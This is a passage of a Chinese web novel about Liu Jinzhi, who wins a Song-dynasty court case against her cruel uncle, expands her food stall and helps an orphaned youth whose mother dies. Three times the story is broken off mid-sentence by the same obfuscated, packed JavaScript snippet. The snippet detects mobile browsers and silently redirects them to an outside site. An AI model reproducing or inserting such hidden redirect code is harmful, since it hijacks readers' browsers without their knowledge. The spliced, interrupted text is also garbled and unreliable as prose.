“去，到宣泰桥寻访邓山的邻居，有愿意作证的即刻带来应天府。” 提刑从签筒里抽出个令箭掷于堂下。 左右领命即去。 本以为此事破要费一番功夫，谁知邓山在宣泰桥作威作福多年，左邻右舍饱受欺压，一听得是应天府传唤，光是自愿来府衙的就足有十来个！ 齐刷刷在公堂上跪了一排，提刑问什么，便答什么，但架不住邓山人缘坏，一问一答之间，居然就有人额外控诉起邓山来。 如买了邓氏药材铺的药，却吃坏了身体的百姓要去官府告状，邓山雇打手将人痛打一顿，逼的苦主不敢再靠近官府一步。 又如邓山仗势欺人，邻家的猪跑到了他家，就故意把猪关起来据为己有，邻居来讨要，反将人痛骂一顿。 还如…… 邓山的罪状越挖越多，提刑眉心拧成了个大疙瘩，眼中怒火鼎盛。 “大胆！在汴京城中，官家脚下，竟还能出现这般贼恶人！”提刑狠拍惊堂木，“可还有苦主要说话？” “老爷。”柳金枝膝行两步上前，跪地流泪，“还请老爷饶民女娘舅一命。” “娘舅他虽然是个恶人，亦曾强占了我父母的四千贯遗产不肯归还，还骗我自卖为奴将卖身银子交与他。” “假意收养我弟妹，却时刻将其虐打，还在冬夜里赶出家门，令其自生自灭。” “在我携带弟弟上门讨要银钱时，又要对我们姐弟俩动手。” “可他始终是民女的娘舅啊。” “民女不能眼睁睁看着娘舅被仗责流放。” 说实话，柳金枝这番话茶里茶气，听起来颇假，但奈不住她哭得真切。 眼泪跟断了线的珠子一样，扑簌簌从脸上落下来，大颗大颗砸在地面上。 配合着来看，倒真像个愚孝纯良之人。 可这番话险些没把邓山气晕过去，他尖声道：“分明就是你伙同这三人害我！现下却如此颠倒黑白！” 在场众人哪个和邓山没点仇？ 一听说邓山这般不要脸构陷一位年轻娘子，便纷纷为柳金枝说起话来。 大家都住在宣泰桥多年，关于邓山虐待柳霄、月牙的见闻是数不胜数，诸如不肯给饱饭吃，逼得两个孩子垂死挣扎之际，只能去偷吃鸡食，却连这也要挨一顿毒打。 其惨状就连提刑都颇为动容，忍不住叹息：“世上竟有这般狼心狗肺之人。” 当下便不愿再听下去，直接拍响惊堂木，道：“犯人邓山售卖假药、仗势欺人、还意欲私吞亲侄钱财，现证据确凿。本官着令邓山归还五十两药材钱，与柳家娘子四千贯，事了之后再发配青山县，除非大赦，否则永不许回京！退堂！” 敕令落下，只听噗通一声。 众人看去，原来是邓山惊骇过度，竟然直接倒在堂中昏死过去。 柳金枝眼珠一转，当即做作地抖开一条帕子，掩面哭道：“哎呀，我的娘舅欸~您就这么去啦~侄女也是痛心疾首啊！” 大家见柳金枝伤心，都感叹她当真纯良心善，不由纷纷安慰。 柳霄却在一旁看的分明，柳金枝掩在帕子下的嘴角压都压不住。 为避免露馅，柳霄赶紧也假装悲伤将柳金枝扶起来，抽抽噎噎道：“阿姐，咱回家吧。” 柳金枝点点头，被搀扶着往外走。 眼见着二人的背影逐渐消失，师爷忍不住对提刑道：“大人，这位娘子以下告上，按照大宋律法，该先打三十大板才对。” 提刑沉默了一下，道：“师爷，律法确为铁令，却也该在细微处通达人情。今日之事，本官只当它是众人仗义执言，一齐揭发出来的。至于所谓以下告上，本官从未听过。” 言罢，提刑站起来，转身退堂。 府衙之外。 柳霄搀扶着柳金枝走了一段路，见身后无人跟来，这才分开说话。 天边晚霞柔柔落下，河畔的枯枝分割着半轮血色残阳。 借着天色，柳金枝才看清柳霄额上不知何时多了一层冷汗。 “阿姐，虽然我很高兴邓山终于自食恶果，但今日你说出他恶行的时候，我着实为你捏了一把汗。万一提刑认为你在以下告上，那三十大板你是无论如何都逃不过去的。” 柳霄道。 “阿姐知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458089|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳金枝伸出手，温柔擦去柳霄脸上的薄汗，“我其实也在赌，赌这位提刑大人不忘初心。” “什么意思？” “我去找应天爵的时候，他知我想状告邓山，就劝我最好将案子闹到应天府。” “因为应天府里有位夏提刑，亦是在年幼之时父母双亡，又被亲族强占双亲遗产，被迫与长兄流落街头。” “后来长兄年仅十二就上街售卖炊饼，年复一年，含辛茹苦将他养大，又供他科举，落下一身病，因此他甚为感念。” “若能有他审理此案，说不准会在触动情肠之处，与我们一些方便。” “如今看来，这位夏提刑还算是个有心之人。” 柳霄也没想到如今威风八面的提刑，幼时居然与他相差无几，不由得抿了抿唇瓣，眸色渐深。 “先前我们不做夜市，就是因为资金不够。现在那四千贯到手，哪怕分出去两成，数额依旧可观。”柳金枝搂过柳霄的肩膀，“我打算利用这笔钱扩大食摊，直接转去做夜市。这样我们赚得的利润将会是现在的两倍有余！” 柳霄此时却显得有些心不在焉，听到柳金枝的规划，只道：“阿姐做主便好。” 随后二人又站在原地商量着要用这四千贯去买些什么。 不远处的假山亭子下。 杏安收回视线，有些哭笑不得，道：“二郎，看起来咱们白赶了这些子路。不但来晚了一步，柳娘子也不需咱们帮忙。” 傅霁景望了柳金枝一眼，随即收回视线，温声笑道：“若是不需我们便能成事是最好，足见他们所愿已了。”转过身，“杏安，咱们也回吧。” 一听这话，杏安不免急了。 他可还没忘记当初那香喷喷的船饭，半个月的时间，把他的嘴都养叼了。 现下回到府中再吃那些膳工们做的饭，虽然也香，却总还是惦念着柳金枝的手艺，便常在府中想着要去问问应天爵，想知道柳金枝在何处支了摊子，他也好去买些吃食光顾生意。 可惜的是，傅霁景自从归家，除却亲近之人有事央求，否则绝不出门，只留在家中静心温书，连带着他也找不到机会出府。 今日好不容易见到柳金枝，为了肚子里的馋虫，说什么也得上去问候两句。 也就装出一副懂事知礼的模样，皱眉道： “二郎，当时在船上柳娘子为我们做了半月吃食，我们却没来得及当面告慰，就离船去了。现下想想，总觉得失礼。” 傅霁景脚步一顿，不由犹豫地抿起唇瓣，道：“这怕是于礼不合。” “嗐，礼还能比人情大？那柳娘子着实可怜，在侯府被磋磨，回汴京又因为黑心娘舅侵吞财产闹上公堂。” “都说救人救到底，送佛送到西。” “二郎既然救了柳娘子一命，不如好人做到底，去瞧瞧她家中到底如何？莫要又出意外，白救得一条性命回来。” 杏安一边说，一边小心翼翼地观察傅霁景的神情。 只见傅霁景也像是找到了一条满意的理由，终是点头道：“若是为了此前失礼之处去赔罪，倒理所应当……” 杏安闻言大喜，都等不及傅霁景把话说完，急急忙忙扭过头去要先叫住柳金枝二人。 然而前方哪里还有人？ 柳金枝与柳霄早走了，此时只剩一片寂寥的深冬景色而已。 16. 镂鍮装花盘架车 夏提刑下了命令后，邓山就被扣上了镣铐。两个衙役押着他往宣泰桥的药材铺子走，要去拿回欠款。 柳金枝、柳霄还有那三个汉子自然都跟着。 到了郑氏药材铺，就看见邓章氏站在门口哭，见邓山被押解着，更是泣不成声。 却没人同情她，毕竟邓山作威作福的时候，她不也跟在身后耀武扬威？ 两个衙役也不跟她多废话，直接出示公文，叫她拿出五十两银子并四千贯出来了账。 然而即便邓山曾经威霸一方，这五十两银子也是个了不得的大数目，邓章氏给不起，只得先把柳金枝的四千贯还了，说要再去后院找找。 两个衙役尚且年轻，倒真放邓章氏去了。 可是一刻钟后还不见邓章氏转还出来。 那络腮胡便一拍大腿：“糟了，这妇人怕是要逃啊！” 一群人齐齐涌入郑氏药材铺看，果真，金银细软，值钱药材全没了，后院角门大开，邓章氏便是从此处逃之夭夭。 衙役大怒，转身劈头盖脸打了邓山一顿，打的人嚎啕大哭，却又把人扯起来，往他岳丈家要银子去了。 这接下来的事儿柳金枝就不必再跟了，与三个汉子和两个衙役道过谢，就和柳霄坐着驴车去了御街。 柳霄面上阴郁之色消散不少，笑道：“多行不义必自毙，邓山这回活该。” 柳金枝道：“夫妻本是同林鸟，大难临头各自飞。邓章氏卷着钱财跑了，却连一点路费都没给邓山留。从汴京到青山县，少也有几千里路呢。要是连岳丈家也不肯施舍一些，衙役还不知道要如何恼火呢。” 这些可都不关他们的事儿。 各人有各人的造化，以后邓山是死是活，就与他们无甚关系了。 柳金枝道：“拿回了这四千贯，我想去御街上买些东西把食摊改造一下。” 柳霄闻言点头：“买些桌椅回来，就不用向别人借了。” “桌椅是一方面，我还想招个洗碗工。”柳金枝回想起月牙红肿的手指，心疼又愧疚，“月牙还小，不应该跟着我们吃这么多苦。” 柳霄道：“阿姐不要这么想，其实月牙很高兴，比起以前的日子，现在算不得苦。” “以前是以前，现在是现在，既然我回来了，总是要好好护着你们。”柳金枝从怀里摸出两盒油膏，塞在柳霄手里，“呐，你和月牙一人一盒。” 这两盒油膏还带着一些温热，应是柳金枝外出时早就买好的。 柳霄摸着油膏的外壳，心中温暖，笑道：“谢谢阿姐。” 柳金枝摸摸他柔软的发丝，眼中温柔的仿佛尽是点滴春色。 片刻后驴车停在御街的桌椅团行附近。 柳金枝下车一看，发现这里的铺子大多都在门首摆放精致桌椅，吸引顾客的视线。 椅子有靠背椅、扶手椅、圈椅、玫瑰椅、交椅和官帽椅。桌子又有平头案、翘头案、琴桌和花腿桌…… 但她是做夜市，地方有限，太大的桌椅要不了，太漂亮的桌椅又太贵。 最后挑挑拣拣，在一家铺子里头定下了五套，以高脚花腿桌和圆墩为配套的桌椅，先手交付定金，等桌椅送到了地方再总账。 但柳金枝其实还想要辆车。 “御街离新曹门那么远，若是每天早上都租赁一辆驴车赶过去，来不来得及不说，也太费银钱了。” “我听说团行里头有卖镂鍮装花盘架车的，也想买一辆，日后方便。” 所谓镂鍮装花盘架车，就是一种小型售货车。 宋朝卖零食的小贩为了吸引更多的食客来光顾生意，就会把食物装在镂刻着各类花纹，并用黄铜镶嵌的小型售货车上。 这样食客们打眼一看，就知道这家卖的是什么东西？色泽、品相如何？ 当然，柳金枝当然不只是卖零嘴、杂嚼那么简单，她做饭炒菜离不开汤汤水水，还有炭盆火炉，每日来返极为不便。 她就想找到专门做镂鍮装花盘架车的铺子，再请店家帮她稍作改造。 将车内装上火炉、燎子，再开辟出一个地方给她挂砧板、菜刀，就像现代的流动商贩车一样。 不过虽然她想的很好，但能答应这种要求的店家很少。 毕竟她银钱有限，出不起高价手工费，而费心费力改造一辆镂鍮装花盘架车，对商家来说也颇为耽误生意。 所以转了好几圈都没有如愿。 “唉，找不到就算了。”柳金枝擦擦汗，放弃了，“等日后咱们赚钱了，再出个高价叫位师傅专门帮我做。” 柳霄问：“阿姐，大概要多少银子？” “工费、材料再加上浇手，怎么也得七八钱吧。” 七八钱？ 柳霄抿了抿唇。 他觉得以柳金枝的俭省程度，哪怕以后赚钱了，估计也舍不得出这么多钱去买辆车。 于是他暗暗将这事记在心里。 “罢了，先拿驴车凑合着吧。”柳金枝解开茄袋数了一数银两，“再去买几只双层桶是要紧。” 柳霄问：“阿姐买桶做什么？” “为了做夏天的生意。” 一年春夏秋冬四季，每季的菜蔬各有不同。 春日万物复苏，正是采摘野菜，邻水斫鲙的好时候。夏日天色炎热，就要大口吃冰，喝些冰雪、凉浆、甘草汁……才爽快怡人。等到七月流火之时，饭桌上随处可见澄阳湖大闸蟹。 古代又没有温室大棚和冰箱和制冷机，饮食当然都是跟着季节走。 除却夏天。 古时夏天热死人，为了一解暑热，宋朝汴京出现了很多卖冷饮的铺子，就坐落在旧宋门和朱雀门外。 而冷饮从何来？就从冬日里的河冰来。 等到寒冬腊月，河水冰封的时候，请人工开凿干净的河冰背到家中，再将放入双层木桶当中保存。 这种大型双层木桶底下有基座，上面有圆盖子，两相接口处还包着白铜，把冰块往桶里一放，就是大咧咧的放在外头，也能保持两三天不化。 极其炎热之时，把这木桶在房间四角各放一个，其效果堪比现代空调。 一些大型酒楼，比如樊楼，财大气粗，就是如此做来方便招揽食客。 所以这就是哪怕樊楼菜色极为昂贵，也依旧能让众人趋之若鹜的原因。 但如果要保存的更久一些，就要把冰块连带着木桶一起放入冰窖之中保存。 因此在宋朝冰窖、冰井十分常见。 宫中有大型冰窖，冬日凿来的冰会在夏天时分给后妃们纳凉散热。 民间的则是小型冰窖，一般是商家开凿，用来存放冰块，好留到夏天卖钱。 好巧不巧，此前柳家父母在世时，为了储存方便，不仅在家中开凿了存放菜蔬的地窖，还开凿了一个小型冰窖。 这个冰窖不大，只有二十平方米左右，但对于柳金枝来说绝对够用了。 “之前是没钱买，我也没想着做这方面生意。现下有了钱，便一齐准备着吧。” 柳金枝笑眯眯的。 谁赚钱还嫌多呢？ 柳霄看柳金枝财迷的样子，也笑开了，道：“阿姐，我在汴京待得久，认识一些凿河冰的好手。这事儿就让我去办吧。” “好。” 于是又花了两百来文，买了四只双层大桶，由柳霄做主，跑到河边请了位有些跛脚的中年汉子凿冰。 交付了五十文的押金后，天色也早黑透了。 不过这一天也算是功德圆满，该办的事都办好了，二人就回了家。 只是家中情况却比以往不同，门口挂着两个红纸大灯笼，门外大大小小停了许多辆驴车，车上驮着十来只书箱，又有桌椅板凳等，皆用手腕一般粗细的麻绳绑的结结实实，还有几个脚夫正在柳家旧宅门首进进出出，搬运各类物什。 柳金枝讶异，耳边倒传来应天爵高兴的声音：“嗨呀，柳妹子，你可算是回来了！” 应天爵三两步从门首里头走出来，对着柳金枝叉手一拜，又打量着她好端端的，无甚损伤，才松了口气道： “你半日不回，我可为你捏了好一把汗。如今见你无恙，那这场官司必然是你胜了，恭喜恭喜啊。” 柳金枝福身还礼，笑道：“也是多亏应大哥的帮忙，小妹答应你的，明日就送到门上去。” “嗐，那我可就不跟你客气了。” 能有银子拿，应天爵也是喜的眉开眼笑。 赶忙虚扶了柳金枝一把，又指着门口驴车邀功，道：“妹子你瞧，此前我答应你，尽快为轩哥儿寻处宅子搬出去。正巧昨日就寻到了，宅面干净，就在崇明外人街，不远就是国子监。” 这对柳金枝来说简直是个大好消息！ 宅子空下来，不仅可以让柳霄和月牙住的更舒心，她也不用再忧心一次性买来太多的菜蔬，却不知该放何处的难题了。 忙不迭的道谢，笑道：“当真是应大哥费心了。” 应天爵倒摆摆手，道：“嗐，我也只是做些跑腿活计。轩哥儿有位同窗好友，家中甚是阔绰，听闻他要搬家，早把那些琐碎杂事一应全包了，我现下不过动动嘴皮子。” 柳金枝也才想起来，项志轩和他那位好友是预付了定金买朝食的，现下他们搬走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458090|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，定金该怎么算？ 就想去找项志轩退银子。 正好此时项志轩与一位白净少年说说笑笑着从里头走出来。 少年眉眼虽稚嫩，却十分清俊，眼睫乌黑浓长，一双眼睛又圆又亮，项上戴着金螭璎珞，腰间系着长穗宫绦，只打眼一瞧，就知道必然是家里万千富贵宠出来的。 他一边走，一边道：“欸，等会儿我家中哥哥来接我去樊楼吃宵夜，你与我一同去吧。” “还有小半月才到立春，现下又无甚佳节，怎么忽得要去樊楼？” “嗐，你不知，今日我家中有喜事，哥哥说要不计银钱热闹一番，也好冲冲晦气。” 二人跨过门槛来。 项志轩正要说话，抬眼却望见柳金枝，不由眼前一亮，笑道：“柳娘子，你回来了，我正要去寻你呢。” 少年顺着项志轩的视线一同看过去，见柳金枝居然长得如此清丽动人，不由惊讶得瞪大了眼睛。 项志轩笑道：“这便是我先前与娘子提到的好友，名唤潘安玉。这怪行货子还与我说，怎得都不信能做出那等好吃膳食的，是位极其年轻的娘子。非要与我打赌，如今见到人了，我也算清白昭昭了。” 潘安玉些许脸红，不好意思叉手一拜，道：“我也爱做菜，但学了五六年，味道却连柳家姐姐的三成都比不少，因此着实想不到有这样功底的，又这样年轻。” 高门大户里养出来的富二代，兴趣爱好居然是做菜。 这叫柳金枝忍俊不禁。 项志轩道：“我与他已说好，定金不必收回，我们会每日派人去娘子的食摊上取朝食的。” 柳金枝也不愿把到手的银子再吐出去，这样正好，也就高兴应下，又对着潘安玉福身笑道：“奴谢过潘小哥了。” “不必谢。”潘安玉笑的十分稚气，挠着头说，“我还想着要拜柳家姐姐作师父呢！我哥常说只要高兴，多花点银子未尝不可。所以只要姐姐愿意收我当膳徒，我就是再给多少银子都使得！” 项志轩忍不住笑话道：“怪行货子，只花银子倒显得没诚意，你怎得不直接喊声师父？兴许柳娘子就收了你。” “当真可以吗？”潘安玉眼前一亮，连忙就要拜，“师父！” 吓得众人赶紧伸手去扶，见潘安玉一脸疑惑不解，却是憨傻的有些可爱，又忍不住笑作一团。 柳金枝笑道：“人家是个实心眼，我可不和你们一起闹人家。” 言罢，就拉着柳霄进了家门，应天爵和项志轩还是笼着潘安玉说话，你一声好哥哥，我一声好弟弟的赔罪。 不多时，有个眉眼俊朗锋利的青年，外披玄色大氅，骑着高头大马进了采莲胡同，身后还跟着三五仆从，颇大阵仗。 见了来人，应天爵与项志轩都是一凛，赶忙收了调笑神色，与青年叉手一拜。 青年也不下马，居高临下地对二人冷漠颔首，就算是见过礼了。 潘安玉则跑过去，甜声唤道：“大哥！” 青年这才有些和暖脸色，垂眸道：“整日里在外头疯跑着玩儿，净寻些偏僻地方给我找麻烦。” 说着挂起马鞭，不轻不重地敲了潘安玉两下，又转手拉他上马。 潘安玉本是要拉项志轩与自己一同，但见项志轩悄悄摇了摇头，就闭口不言，随着青年骑马走了。 但他还是惦记着要向柳金枝学做菜，就对青年道： “大哥，我上次与你说的，做膳食特别好吃的柳家姐姐就住在这儿。听说她在御街支了个食摊子，咱有空就去看看，怎样？” 潘琅寰目不斜视，冷声道：“春闱没过之前，你哪儿也不准去，就给我待在家里用心温书。” 潘安玉顿时如同霜打的茄子，委屈的要哭出来，抽噎着说： “我自小就不是读书的料，四书五经念了七八年了都没念明白。可你和母亲就是要逼我去念书！但我就是爱做菜！我不想当官，我想当膳工！” 潘琅寰皱眉，呵斥道：“闭嘴！我潘家的儿郎若去了膳房里头钻营，那像什么样子？！” 潘安玉委屈，道：“那又怎得啦？谁离得开膳工？便是大哥你遇见个好的膳工，照样是赞不绝口！我早上还听下人们说，你夸从御街买回来的那碗馄饨好吃，让他们今后接着给你买作朝食，还说一两的赏钱给少了，下次要多给些呢！” 潘琅寰哽了一下，没好气道：“读书不多，顶嘴倒快！旁的我不与你多说，我已请了蒋太医来与母亲瞧病，她现下好多了，等下你到了她跟前卖些乖。若还不三不四恼了母亲生气，我拿马鞭抽死你！” “呜呜呜，知道了。” 17. 招洗碗工 前一天定好的桌椅板凳，第二天午时就送到了御街摊位上。 柳金枝和柳霄把桌椅卸下来摆放齐整，月牙拿抹布仔细地擦了一遍，直把桌椅连同整个摊位擦的干干净净才罢手。 “好啦，月牙，这些事情以后就不用你做了。”柳金枝把月牙抱到一边，拆开油膏细心给她抹上，“小手冻坏了，以后每到冬天都会有冻疮的。” 月牙道：“可是阿姐和哥哥都很忙，我不做，谁洗碗呢？” “阿姐已经决定招工了。” 柳霄拿着一张红纸走过来，吹干净上面的墨渍，展给两个人看。 红纸上写的是“招洗碗工”，下头还有具体的要求。 比如不限男女，但要年满十五，手脚利落勤快。 但因为食摊刚起步，招工也是心疼月牙，所以出不起多高的薪资，一天只能给五十文，一个月就是一千五百文。 为了弥补这点不足，柳霄在征得柳金枝同意之后，又添了条“包吃包住”的条款。 然后一家三口用米浆刷在红纸后背，将之贴在了摊位旁边。 “希望今天能有人应征。”柳金枝清点着摊位上的菜蔬，“晚上就要做夜市了。” 月牙想了想，拉过柳霄道：“哥哥，你还记得杜哥哥吗？” 柳霄一点即通，低头说：“你想叫他来？” “嗯，只是不知道杜哥哥还住不住在老地方。”月牙小小声地说道。 “什么杜哥哥啊？” 柳金枝在送菜单上打了勾，走过来摸摸两个人的头。 “是一个人很好的哥哥，在我和哥哥吃不饱饭的时候，是他给了我们一个炊饼。” 月牙抱住柳金枝的小腿，仰着小脸道：“阿姐，我们去找杜哥哥好不好？” 柳金枝算了一下时间，反正现在还早，不着急做夜市，不如去看看。 一家三口便坐了驴车朝居养院去了。 宋朝时候，各种福利设施都比较完善。 就比如北宋时期，政府设有福田院，专门收容老弱孤幼乞丐，提供基本食宿。 不仅如此，宋徽宗时期还规定每年十月初一至次年三月，都对乞丐进行赈济，每人每日发放米豆一升，小儿减半。 另外还有居养院，为无依无靠的贫民提供长期住所。 安济坊则负责医疗救助，避免一些贫困百姓受伤之后无钱就医而白送性命。 柳霄和月牙所提到的那个杜哥哥，已经年过十五，在宋朝来说已不算是孩童，现下大概率住在居养院。 其实哪怕是现代的一些福利机构，在长期营业之下都会出现某些恶劣现象，更遑论是在缺少监管力度的古代。 所以哪怕宋徽宗提出建立居养院时是出于好心，柳金枝也不敢把居养院想的太好。 饶是如此，当柳金枝亲眼见到居养院的时候，还为这里头环境之恶劣而感到震惊。 这处居养院坐落在一条狭窄的小巷子里，巷外栽种着一颗枯萎的柳树，树下蹲着个瘦骨嶙峋的老人，面前架着个破旧药罐，哆哆嗦嗦地从怀里摸出半包药渣，小心翼翼倒进了药罐里。 再往里走，就是居养院的大门，门上挂着门匾。 因为门没有关，所以一眼可见院内情景。 里头搭着二三十根晾衣架，一群披头散发，衣着破败，面容枯槁的妇人正弯腰晾晒衣服。 廊下蜷缩着一个老人，大冷的天，却将手与脚都露在外面，皮肤冻得发黑，又不晓得收回去，只用一双浑浊的眼睛盯着雪地发呆。 管院子的嬷嬷走来走去，却熟视无睹。 柳金枝不由皱起了眉头，心里发酸，可她自己也是泥菩萨过河，救不了太多，只能从茄袋里翻出几十文交给柳霄，道： “去给那位阿爷买双合脚的鞋子，再买双干净袜子。” 柳霄面色复杂地应了下来。 月牙接着带柳金枝往深处走去。 拐过几个角，进了后院。 这里更是一派萧瑟凄凉，杂草丛生，遍地白雪。 只是柳金枝耳边传来几声喝骂，还有高昂的鹅叫，隐隐有些嘈杂。 待走近一瞧，才发现院子的最里头居然围着一群人。 一个胖男人手里拿着刀，怒骂道：“挨千刀的小贼孙，连爷爷我的鹅你也敢偷？！” 旁边站着个灰布衣服的嬷嬷，狠狠一藤条抽在一个清秀少年身上，冷声道：“你犯了偷窃，按照居养院里的规矩，从明天开始，你和那病歪歪的娘都从这儿搬走！” 跪在人群中心的少年本是挨打挨骂都不做声，可一听见这话，却倏然一下把抬起头来，两眼发红：“我娘不能搬！她病的快要死了，再挪动两下，人就没了！” “谁让你偷东西？！” “我也不想偷！”少年情绪激动，却又悲伤至极，“可我没钱，我娘又快死了，她就想吃口糟鹅……就一口……” 可话没说完，就挨了男人一个重重的耳刮子。 “呸！你娘想吃什么干老子屁事？她就是死了，也是活该命贱！我只跟你算算鹅的账！” 男人指着笼子里的鹅说：“我家的鹅，那毛是长得最好的。油光水滑，可以当褙子。但你瞧瞧，毛都快被你拔禿咯！你再怎么都得原价赔我四钱银子！” 四钱！ 柳金枝霎时间瞪大了眼睛。 那就是四百文！ 一只鹅，四百文？ 这分明就是在欺负人！ 可是男人就是仗着少年无依无靠，一巴掌揪起他的衣领，道：“你要是不赔，今天就跟我走。不拘我是把你卖进高门大院，还是瓦子乐场，都不许有半句屁话！” 清秀少年涕泗横流，拳打脚踢想要挣脱，却还是被这男人拖走了。 柳金枝几步上前把两人拦住，眉心拧成了个大疙瘩，道：“站住！他娘还在屋里头，你现在把人拖走，岂不是连最后一面也不让人见？” 男人轻蔑地瞥了柳金枝一眼，嗤笑道：“哪儿来的雌儿？也来管爷爷的闲事。你想要发慈悲，就拿四钱来把这鹅买下，否则就滚蛋！” 柳金枝见这人打定主意要坑银子，心中不由腾起一片怒意。 她也只有四千贯，也就是四千文，定桌椅，买菜蔬等等已经用了不少，否则她也不会因为一辆七八钱的镂鍮装花盘架车，就肉疼的选择放弃不买。 但那是车，以后还有的买。 这是人，这回不出手，可就没有下一次了。 柳金枝心中天人交战，最后还是同情心占了上风。 她从茄袋里翻出四钱银子抬手扔过去，眉眼冷肃，道：“我替他给了，你把人放了！” 男人倒是没想到柳金枝居然舍得，看看少年，又看看钱，也就放了手，拍拍身上灰尘大摇大摆走了。 清秀少年泪流满面，膝行过来给柳金枝磕头，却被柳霄扶了起来。 柳霄语气复杂，道：“杜哥哥，是我啊，我是霄哥儿，这是我阿姐。” 原来这清秀少年就是他们要找的人，姓杜，唤作杜卫。 杜卫哭道：“好兄弟，哥哥在这里谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461912|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过你，这四钱银子我定然还给你阿姐。” 柳金枝叹了口气，把鹅笼提起来交给他，道：“去看看你母亲吧。” 杜卫用袖子抹干净眼泪，又给了柳金枝嗑了好几个响头，才站起来接过鹅笼往房里走。 望着杜卫的背影，柳霄抿了抿唇，面色复杂道：“阿姐，这银子……” “罢了。”柳金枝知道这银子杜卫肯定还不起，摆了摆手，“好歹当年你和月牙落难的时候，他曾给过你们一个炊饼，现在就当是报恩。” 柳霄道：“报恩也当是我来报，这钱我会还给阿姐的。” 月牙在旁边看了一场，也很为杜卫感到酸楚，便也道：“我也会还给阿姐的。” 柳金枝摸摸他俩柔软的发丝，打算拉着二人回家，可房内忽然响起碗被砸碎的声音，紧接着就是扑通一声，杜卫悲痛欲绝的哭声响彻整座居养院： “娘——！” 一家三口冲进去一看。 鹅还在笼子里活蹦乱跳地扑腾，床榻上的干瘦蜡黄的妇人却已经仰面阖眼，彻底失去了气息。 月牙啊的叫了一声，忍不住回头抱着柳金枝，不敢看床上的死人。 柳金枝也没想到最后居然是这么个结局，她怔愣了一下，不由得心中悲恸。 “霄哥儿，去请两个火计来。”她蹲下来捂住月牙的眼睛，将人轻轻搂进怀里，“先帮忙把杜伯母拉到漏泽园葬了。” 时也命也，这最后一口糟鹅，她到底没能吃上。 火化、念经、下葬，穷人家有穷人家的死法。 不过两个时辰，妇人就成了漏泽园里的一座孤坟。 杜卫跪在坟前，黄纸灰烬被夜里寒风卷起来，迸溅出的火星照亮他恍惚的面色，泪痕干枯，唇色苍白。 他声音沙哑地说：“柳姐姐，好兄弟，月牙妹妹，多谢你们好心。这鹅你们拿回去吧，我娘已经死了，这鹅没用了……” 柳金枝望着他，眸色复杂。 若她当初迟一些回汴京，又或者没能力带弟妹一起开食摊。 现在如此凄惨的，可能就是柳霄和月牙了。 “斯人已逝，但活人还要好好的活。” 柳金枝说到此处，抿了抿唇。 说她不自量力也好，说她圣母心大发作也好。 她无法对这般惨象视而不见。 “其实我们今天来找你，就是想问你要不要来我家食摊帮忙。给你酬金一日四十文，包吃包住。” 柳金枝在原有的酬金基础上提了十文。 这是她能给出来的极限。 杜卫没说话。 月牙道：“杜哥哥，当年我和哥哥被舅舅扫地出门。大雪天里，饿的实在走不动了，缩在路边等死。是你把身上最后一个炊饼给了我们，我们才能活到现在。你跟我们走吧，给我们一个报答你的机会。” 可是杜卫还是跪在哪儿，背影瘦削又萧瑟。 柳金枝拉拉月牙的手，道：“好了，让杜哥哥一个人想一想吧。”又说，“如果你改变主意，就到御街太常寺对面的柳氏食摊找我们，我们随时欢迎。” 尔后左右牵起月牙和柳霄转身离开了。 汴京城的繁华不因任何一人的悲欢离合、喜怒哀乐而停止。 夜幕降临，华灯初上。 汴京城热闹的夜市生活照旧开始了，她也要去继续自己的生意。 也许现在多努力一点，多攒一些傍身之物，将来在这繁华大城之中经历悲痛与伤悲的，就不会是她，或是她的霄哥儿和月牙。 18. 卤狮头鹅 汴京城的夜晚最是繁华。 御街附近酒楼林立，笙歌不绝，中有御河游船穿行于亭台楼阁间，月夜泛舟可见“水光楼影，碧水绵延”之景。 浚仪桥下汴水奔流、桥上人流如织。 怪不得《东京梦华录》曾赞叹“两岸夹歌楼，明月光相射”。 而柳金枝到时，御街两旁的铺子也都灯照通明。店小二在门口揽客，食客进进出出好不热闹。 柳金枝也在摊位前挂上了一盏栀子灯。 这灯狭长形，上宽下窄，中有六棱，状如栀子果。 这就是告诉大家，柳氏食摊正在营业，欢迎光临。 “柳娘子，你怎么现在才来？”旁边有位胖婶子趁着现在没生意，扭过头来搭讪，“这夜市的生意都开始好一会儿了。” 柳金枝一边让柳霄和月牙把炉子生起火，一边笑道：“去买了点东西，怎么？大娘是有事要寻我？” “嗐，我哪儿有什么事儿。就是有，我也该找邻家几个男人帮忙。”胖婶子笑容温暖，“我就是想提醒你，除了咱们平头百姓逛夜市，还有不少达官贵人，说话做事得注意些，要是惹上那些个心眼子小的就麻烦了。” 都说远亲近邻。 有时候一个心善的邻居倒比在远方的亲戚，更能与你互相扶持。 